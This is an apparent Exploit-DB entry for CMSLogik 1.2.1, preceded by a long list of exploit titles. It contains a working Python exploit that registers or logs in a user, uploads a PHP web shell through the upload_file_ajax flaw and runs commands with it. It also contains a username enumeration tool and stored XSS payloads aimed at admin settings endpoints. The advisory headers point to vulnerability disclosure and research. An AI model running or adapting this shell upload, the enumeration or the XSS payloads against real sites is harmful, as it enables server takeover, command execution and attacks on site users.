
395 changes to exploits/shellcodes EO Video 1.36 - Local Heap Overflow Denial of Service / (PoC) Electronics Workbench - '.ewb' Local Stack Overflow (PoC) BulletProof FTP Client 2.63 - Local Heap Overflow (PoC) Easy Web Password 1.2 - Local Heap Memory Consumption (PoC) Compface 1.5.2 - '.xbm' Local Buffer Overflow (PoC) eEye Retina WiFi Security Scanner 1.0 - '.rws Parsing' Buffer Overflow (PoC) Zortam MP3 Media Studio 9.40 - Multiple Memory Corruption Vulnerabilities ImTOO MPEG Encoder 3.1.53 - '.cue' / '.m3u' Local Buffer Overflow (PoC) ZoIPer 2.22 - Call-Info Remote Denial of Service PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) Nuked KLan 1.7.7 & SP4 - Denial of Service AIC Audio Player 1.4.1.587 - Local Crash (PoC) Xerox 4595 - Denial of Service WinMerge 2.12.4 - Project File Handling Stack Overflow Acoustica Mixcraft 1.00 - Local Crash SopCast 3.4.7 - 'sop://' URI Handling Remote Stack Buffer Overflow (PoC) Oreans WinLicense 2.1.8.0 - XML File Handling Memory Corruption Spotify 0.8.2.610 - search func Memory Exhaustion Apple iTunes 10.6.1.7 - '.m3u' Walking Heap Buffer Overflow (PoC) WaveSurfer 1.8.8p4 - Memory Corruption (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) CoolPlayer+ Portable 2.19.4 - Local Buffer Overflow Light Audio Player 1.0.14 - Memory Corruption (PoC) Image Transfer IOS - Remote Crash (PoC) Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH) VUPlayer 2.49 - '.cue' Universal Buffer Overflow Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation IBM AIX 5.3 - 'libc' MALLOCDEBUG File Overwrite Hex Workshop 4.23/5.1/6.0 - '.hex' Universal Local Buffer Overflow (SEH) Soritong MP3 Player 1.0 - '.m3u' / UI.txt Universal Local Buffer Overflow Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 - Collab getIcon Universal Millenium MP3 Studio - '.pls' / '.mpf' / '.m3u' Universal Local Buffer Overflow (SEH) Alleycode HTML Editor 2.2.1 - Local Buffer Overflow GPG2/Kleopatra 2.0.11 - Malformed Certificate Free WMA MP3 Converter 1.1 - '.wav' Local Buffer Overflow OtsTurntables Free 1.00.047 - '.olf' Universal Buffer Overflow Watermark Master 2.2.23 - '.wstyle' Local Buffer Overflow (SEH) Dropbox < 3.3.x - OSX FinderLoadBundle Privilege Escalation MySQL / MariaDB / PerconaDB 5.5.51/5.6.32/5.7.14 - Code Execution / Privilege Escalation eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (3) QK SMTP 3.01 - 'RCPT TO' Remote Buffer Overflow (2) CA BrightStor ARCserve - 'msgeng.exe' Remote Stack Overflow quickshare file share 1.2.1 - Directory Traversal (1) SPlayer 3.7 (build 2055) - Remote Buffer Overflow Acunetix 8 build 20120704 - Remote Stack Overflow Omeka 2.2.1 - Remote Code Execution D-Link DSL-2740R - Remote DNS Change D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure Websphere/JBoss/OpenNMS/Symantec Endpoint Protection Manager - Java Deserialization Remote Code Execution TorrentTrader 1.0 RC2 - SQL Injection WEBInsta CMS 0.3.1 - 'templates_dir' Remote File Inclusion MiniPort@l 0.1.5 Beta - 'skiny' Remote File Inclusion PHP DocWriter 0.3 - 'script' Remote File Inclusion phpBB Journals System Mod 1.0.2 RC2 - Remote File Inclusion phpBB SpamBlocker Mod 1.0.2 - Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion QnECMS 2.5.6 - 'adminfolderpath' Remote File Inclusion BrewBlogger 1.3.1 - 'printLog.php' SQL Injection e-Ark 1.0 - '/src/ark_inc.php' Remote File Inclusion awrate.com Message Board 1.0 - 'search.php' Remote File Inclusion Tucows Client Code Suite (CSS) 1.2.1015 - Remote File Inclusion Gizzar 03162002 - 'index.php' Remote File Inclusion SH-News 0.93 - 'misc.php' Remote File Inclusion JSBoard 2.0.10 - 'login.php?table' Local File Inclusion XOOPS Module WF-Links 1.03 - 'cid' SQL Injection Scorp Book 1.0 - 'smilies.php?config' Remote File Inclusion WEBInsta FM 0.1.4 - 'login.php' absolute_path Remote File Inclusion mxBB Module FAQ & RULES 2.0.0 - Remote File Inclusion EQdkp 1.3.2 - 'listmembers.php' SQL Injection FlashBB 1.1.8 - 'sendmsg.php' Remote File Inclusion SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection Pakupaku CMS 0.4 - Arbitrary File Upload / Local File Inclusion CCMS 3.1 Demo - SQL Injection MoinMoin 1.5.x - 'MOIND_ID' Cookie Login Bypass BlogPHP 2 - 'id' Cross-Site Scripting / SQL Injection AuraCMS 1.62 - Multiple SQL Injections sCssBoard (Multiple Versions) - 'pwnpack' Remote s EasyNews 40tr - SQL Injection / Cross-Site Scripting / Local File Inclusion RevokeBB 1.0 RC11 - 'Search' SQL Injection Galatolo Web Manager 1.0 - Cross-Site Scripting / Local File Inclusion CaupoShop Classic 1.3 - 'saArticle[ID]' SQL Injection PHPortal 1.2 - Multiple Remote File Inclusions Libera CMS 1.12 - 'cookie' SQL Injection Zanfi CMS lite 2.1 / Jaw Portal free - 'FCKeditor' Arbitrary File Upload WCMS 1.0b - Arbitrary Add Admin FOSS Gallery Admin 1.0 - Arbitrary File Upload MemHT Portal 4.0.1 - SQL Injection / Code Execution Mediatheka 4.2 - Blind SQL Injection Pligg 9.9.5b - Arbitrary File Upload / SQL Injection XOOPS 2.3.2 - 'mydirname' PHP Remote Code Execution Joomla! Component Casino 0.3.1 - Multiple SQL Injections s ZeusCart 2.3 - 'maincatid' SQL Injection ASP Football Pool 2.3 - Remote Database Disclosure LightNEasy sql/no-db 2.2.x - System Configuration Disclosure Zen Cart 1.3.8 - Remote Code Execution Joomla! Component com_pinboard - 'task' SQL Injection Joomla! Component com_bookflip - 'book_id' SQL Injection Messages Library 2.0 - Arbitrary Delete Message Arab Portal 2.2 - Blind Cookie Authentication Bypass Joomla! Plugin JD-WordPress 2.0 RC2 - Remote File Inclusion REZERVI 3.0.2 - Remote Command Execution Joomla! Component BF Quiz 1.0 - SQL Injection (2) E-Xoopport Samsara 3.1 (eCal Module) - Blind SQL Injection AJ Matrix DNA - SQL Injection Joomla! Component JE Story Submit - Local File Inclusion CF Image Hosting Script 1.3.82 - File Disclosure hastymail2 webmail 1.1 rc2 - Persistent Cross-Site Scripting CMSLogik 1.2.1 - Multiple Vulnerabilities C.P.Sub 4.5 - Authentication Bypass WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload Joomla! Component com_hdflvplayer < 2.1.0.1 - SQL Injection WordPress Plugin WP Symposium 14.11 - Arbitrary File Upload PHPMailer < 5.2.20 - Remote Code Execution phpIPAM 1.4 - SQL Injection Joomla! 3.9.0 < 3.9.7 - CSV Injection
347 lines
No EOL
11 KiB
Python
Executable file
347 lines
No EOL
11 KiB
Python
Executable file
#!/usr/bin/python
|
|
#
|
|
# CMSLogik 1.2.1 (upload_file_ajax()) Shell Upload Exploit
|
|
#
|
|
#
|
|
# Vendor: ThemeLogik
|
|
# Product web page: http://www.themelogik.com/cmslogik
|
|
# Affected version: 1.2.1 and 1.2.0
|
|
#
|
|
# Summary: CMSLogik is built on a solid & lightweight framework
|
|
# called CodeIgniter, and design powered by Bootstrap. This
|
|
# combination allows for greater security, extensive flexibility,
|
|
# and ease of use. You can use CMSLogik for almost any niche that
|
|
# your project might fall into.
|
|
#
|
|
# Desc: The vulnerability is caused due to the improper verification
|
|
# of uploaded files in '/application/controllers/support.php' script
|
|
# thru the 'upload_file_ajax()' function. This can be exploited to
|
|
# execute arbitrary PHP code by uploading a malicious PHP script file
|
|
# with multiple extensions in the '/support_files' directory. Normal
|
|
# user [level 113] authentication required.
|
|
#
|
|
# ======================================================================
|
|
# /application/controllers/support.php:
|
|
# -------------------------
|
|
#
|
|
# 143: public function upload_file_ajax()
|
|
# 144: {
|
|
# 145: $allowedExtensions = array('jpeg', 'jpg', 'gif', 'png', 'html', 'php', 'js', 'doc', 'docx', 'pdf', 'ppt', 'pps', 'pptx', 'ppsx');
|
|
# 146: $sizeLimit = 10 * 1024;
|
|
# 147: $params = array('extensions' => $allowedExtensions, 'size' => $sizeLimit);
|
|
# 148: $this->load->library('qqfileuploader', $params);
|
|
# 149:
|
|
# 150: $result = $this->qqfileuploader->handleUpload('./support_files');
|
|
# 151:
|
|
# 152: echo htmlspecialchars(json_encode($result), ENT_NOQUOTES);
|
|
# 153: }
|
|
#
|
|
# ======================================================================
|
|
#
|
|
# Tested on: Apache/2.2.22
|
|
# PHP/5.3.15
|
|
#
|
|
#
|
|
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
# @zeroscience
|
|
#
|
|
#
|
|
# Advisory ID: ZSL-2013-5138
|
|
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5138.php
|
|
#
|
|
#
|
|
# 05.04.2013
|
|
#
|
|
|
|
import json, re, sys
|
|
import urllib, urllib2, time
|
|
import cookielib, webbrowser
|
|
|
|
if len(sys.argv) < 3:
|
|
print '\n\n\x20-\x20\x20[*] Usage: ' +sys.argv[0]+ ' <target> <path>\n'
|
|
print '\n\x20-\x20\x20[*] Example: ' +sys.argv[0]+ ' example.com cmslogik\n'
|
|
sys.exit(0)
|
|
|
|
host = sys.argv[1]
|
|
path = sys.argv[2]
|
|
|
|
def reguser():
|
|
cj = cookielib.CookieJar()
|
|
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
|
|
username = raw_input('[+] Enter username [at least 4 characters]: ')
|
|
chk_usr = urllib.urlencode({'user' : username})
|
|
try:
|
|
xhr = json.load(opener.open('http://' +host+ '/' +path+ '/main/unique_username_ajax', chk_usr))
|
|
for key, value in xhr.iteritems():
|
|
fnrand = value
|
|
break
|
|
if fnrand == '1':
|
|
print '[!] The user ' +username+ ' is not available.'
|
|
print '[!] Choose a more unique username please.'
|
|
reguser()
|
|
except:
|
|
print '[!] No connection to host'
|
|
sys.exit(0)
|
|
else:
|
|
print '[*] The user \'' +username+ '\' is available.'
|
|
email = raw_input('[+] Choose e-mail [unique@unique.unique]: ')
|
|
password = raw_input('[+] Choose password [at least 6 characters]: ')
|
|
reg_data = urllib.urlencode({'email' : email,
|
|
'full_name' : 'Patch',
|
|
'password1' : password,
|
|
'password2' : password,
|
|
'r_username' : username,
|
|
'register' : 'Register!'}
|
|
)
|
|
auth = opener.open('http://' +host+ '/' +path+ '/register', reg_data)
|
|
match = auth.read()
|
|
if re.search(r"Sorry but that Email is already in use!", match):
|
|
print '[!] The e-mail you have chosen is already taken. Try again.'
|
|
reguser()
|
|
elif re.search(r"You have been registered", match):
|
|
print '[*] OK.'
|
|
loguser()
|
|
else:
|
|
print '[!] Something is fishy.'
|
|
sys.exit(0)
|
|
|
|
def loguser():
|
|
print '\n[*] Login please.'
|
|
username = raw_input('\n[+] Enter your username: ')
|
|
password = raw_input('[+] Enter your password: ')
|
|
cj = cookielib.CookieJar()
|
|
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
|
|
login_data = urllib.urlencode({'username' : username,
|
|
'password' : password,
|
|
'login' : 'Login',
|
|
'remember_me' : 'remember'}
|
|
)
|
|
auth = opener.open('http://' +host+ '/' +path+ '/login', login_data)
|
|
match = auth.read()
|
|
if re.search(r"Error!", match):
|
|
print '\n[!] Not logged in! Try again.'
|
|
loguser()
|
|
else:
|
|
print '\n[*] Successfully logged in!'
|
|
print '[*] Uploading malicious php file...'
|
|
time.sleep(3)
|
|
upload_data = '<?php echo \'<pre>\' + system($_GET[\'cmd\']) + \'</pre>\'; ?>'
|
|
xhr2 = json.load(opener.open('http://' +host+ '/' +path+ '//support/upload_file_ajax?qqfile=liwo_sh.php', upload_data))
|
|
for key, value in xhr2.iteritems():
|
|
filename = value
|
|
break
|
|
print '[*] Your shell ID is: ' + filename + '.php'
|
|
time.sleep(2)
|
|
print '[*] Let me open that for ya...'
|
|
time.sleep(2)
|
|
webbrowser.open('http://' +host+ '/' +path+ '/support_files/' +filename+ '.php?cmd=uname -a;id')
|
|
print '\n[*] Zya!'
|
|
sys.exit(0)
|
|
|
|
def menu():
|
|
print """
|
|
(((((((((((((((((((((((((((((((((((((((((((((((((((
|
|
(( ((
|
|
(( Hello! CMSLogik Shell Upload 0day ((
|
|
(( ((
|
|
(( 1. Register a new User ((
|
|
(( 2. Login with existing User ((
|
|
(( ((
|
|
(((((((((((((((((((((((((((((((((((((((((((((((((((
|
|
|
|
"""
|
|
n = raw_input('Enter choice number: ');
|
|
if n=='1':
|
|
print '\n[*] Welcome to User Registration!'
|
|
reguser()
|
|
elif n=='2':
|
|
loguser()
|
|
else:
|
|
print '\n[?] Just 1 or 2 please...'
|
|
menu()
|
|
menu()
|
|
|
|
|
|
###############################################################################
|
|
|
|
|
|
#!/usr/bin/python
|
|
#
|
|
# CMSLogik 1.2.1 (user param) User Enumeration Weakness
|
|
#
|
|
#
|
|
# Vendor: ThemeLogik
|
|
# Product web page: http://www.themelogik.com/cmslogik
|
|
# Affected version: 1.2.1 and 1.2.0
|
|
#
|
|
# Summary: CMSLogik is built on a solid & lightweight framework
|
|
# called CodeIgniter, and design powered by Bootstrap. This
|
|
# combination allows for greater security, extensive flexibility,
|
|
# and ease of use. You can use CMSLogik for almost any niche that
|
|
# your project might fall into.
|
|
#
|
|
# Desc: The weakness is caused due to the 'unique_username_ajax'
|
|
# script enumerating the list of valid usernames when some characters
|
|
# are provided via the 'user' parameter.
|
|
#
|
|
# Tested on: Apache/2.2.22
|
|
# PHP/5.3.15
|
|
#
|
|
#
|
|
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
# @zeroscience
|
|
#
|
|
#
|
|
# Advisory ID: ZSL-2013-5137
|
|
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5137.php
|
|
#
|
|
#
|
|
# 05.04.2013
|
|
#
|
|
|
|
import argparse, sys, json, urllib, urllib2, cookielib
|
|
from colorama import Fore, Back, Style, init
|
|
|
|
init()
|
|
|
|
print '\n-----------------------------------------------'
|
|
print 'User Enumeration Tool v0.1 for CMSLogik 1.2.x'
|
|
print 'Copyleft (c) 2013, Zero Science Lab'
|
|
print 'by lqwrm'
|
|
print '-----------------------------------------------\n'
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument('-t', help='target IP or hostname', action='store', dest='target')
|
|
parser.add_argument('-d', help='target dir', action='store', dest='dir')
|
|
parser.add_argument('-f', help='username wordlist', action='store', dest='file')
|
|
args = parser.parse_args()
|
|
if len(sys.argv) != 7:
|
|
parser.print_help()
|
|
print '\n[*] Example: cmslogik_enum.py -t zeroscience.mk -d cmslogik -f users.txt'
|
|
sys.exit()
|
|
host = args.target
|
|
path = args.dir
|
|
fn = args.file
|
|
print '\n'
|
|
try:
|
|
users = open(args.file, 'r')
|
|
except(IOError):
|
|
print '[!] Error opening \'' +fn+ '\' file.'
|
|
sys.exit()
|
|
lines = users.read().splitlines()
|
|
print '[*] Loaded %d usernames for testing.\n' % len(open(fn).readlines())
|
|
users.close()
|
|
cj = cookielib.CookieJar()
|
|
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
|
|
results = open('validusers.txt', 'w')
|
|
for line in lines:
|
|
chk_usr = urllib.urlencode({'user' : line})
|
|
try:
|
|
xhr = json.load(opener.open('http://' +host+ '/' +path+ '/main/unique_username_ajax', chk_usr))
|
|
except:
|
|
print '[!] Error connecting to http://' +host+ '/' +path
|
|
sys.exit()
|
|
print '[+] Testing username: ' +Fore.GREEN+line+Fore.RESET
|
|
for key, value in xhr.iteritems():
|
|
fnrand = value
|
|
break
|
|
if fnrand == '1':
|
|
print '[!] Found ' +Style.BRIGHT+Fore.RED+line+Style.RESET_ALL+Fore.RESET+ ' as valid registered user.'
|
|
results.write('%s\n' % line)
|
|
results.close()
|
|
print '\n[*] Enumeration completed!'
|
|
print '[*] Valid usernames successfully written to \'validusers.txt\' file.'
|
|
|
|
|
|
###############################################################################
|
|
|
|
|
|
|
|
CMSLogik 1.2.1 Multiple Persistent XSS Vulnerabilities
|
|
|
|
|
|
Vendor: ThemeLogik
|
|
Product web page: http://www.themelogik.com/cmslogik
|
|
Affected version: 1.2.1 and 1.2.0
|
|
|
|
Summary: CMSLogik is built on a solid & lightweight framework
|
|
called CodeIgniter, and design powered by Bootstrap. This
|
|
combination allows for greater security, extensive flexibility,
|
|
and ease of use. You can use CMSLogik for almost any niche that
|
|
your project might fall into.
|
|
|
|
Desc: CMSLogik suffers from multiple stored XSS vulnerabilities
|
|
when parsing user input to several parameters via POST method.
|
|
Attackers can exploit these weaknesses to execute arbitrary HTML
|
|
and script code in a user's browser session.
|
|
|
|
Tested on: Apache/2.2.22
|
|
PHP/5.3.15
|
|
|
|
|
|
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2013-5136
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5136.php
|
|
|
|
|
|
05.04.2013
|
|
|
|
--
|
|
|
|
==============================================================================
|
|
|
|
POST http://localhost/cmslogik/admin/settings HTTP/1.1
|
|
|
|
admin_email "onmouseover=prompt("XSS1")>
|
|
default_level 2
|
|
default_page 1
|
|
default_url http://themelogik.com/cmslogik/
|
|
email_activate 0
|
|
header_title "onmouseover=prompt("XSS2")>
|
|
login 1
|
|
registration 1
|
|
site_title "onmouseover=prompt("XSS3")>
|
|
update_settings Update Settings
|
|
welcome_email 0
|
|
|
|
==============================================================================
|
|
|
|
POST http://localhost/cmslogik/admin/captcha_settings HTTP/1.1
|
|
|
|
captcha_settings Update
|
|
recaptcha_private "onmouseover=prompt("XSS4")>
|
|
recaptcha_public "onmouseover=prompt("XSS5")>
|
|
|
|
==============================================================================
|
|
|
|
POST http://localhost/cmslogik/admin/social_settings HTTP/1.1
|
|
|
|
fb_appid "onmouseover=prompt("XSS6")>
|
|
fb_secret "onmouseover=prompt("XSS7")>
|
|
social_settings Update
|
|
tw_consumer_key "onmouseover=prompt("XSS8")>
|
|
tw_consumer_secret "onmouseover=prompt("XSS9")>
|
|
|
|
==============================================================================
|
|
|
|
POST http://localhost/cmslogik/admin/gallery/save_item_settings HTTP/1.1
|
|
|
|
imgid 76
|
|
long test
|
|
short test
|
|
slug "onmouseover=prompt("XSS10")>
|
|
status live
|
|
title test
|
|
|
|
==============================================================================
|
|
|
|
POST http://localhost/cmslogik/admin/edit_menu_item_ajax HTTP/1.1
|
|
|
|
item_link "onmouseover=prompt("XSS11")>
|
|
item_name test
|
|
item_order 0
|
|
mid 9
|
|
|
|
============================================================================== |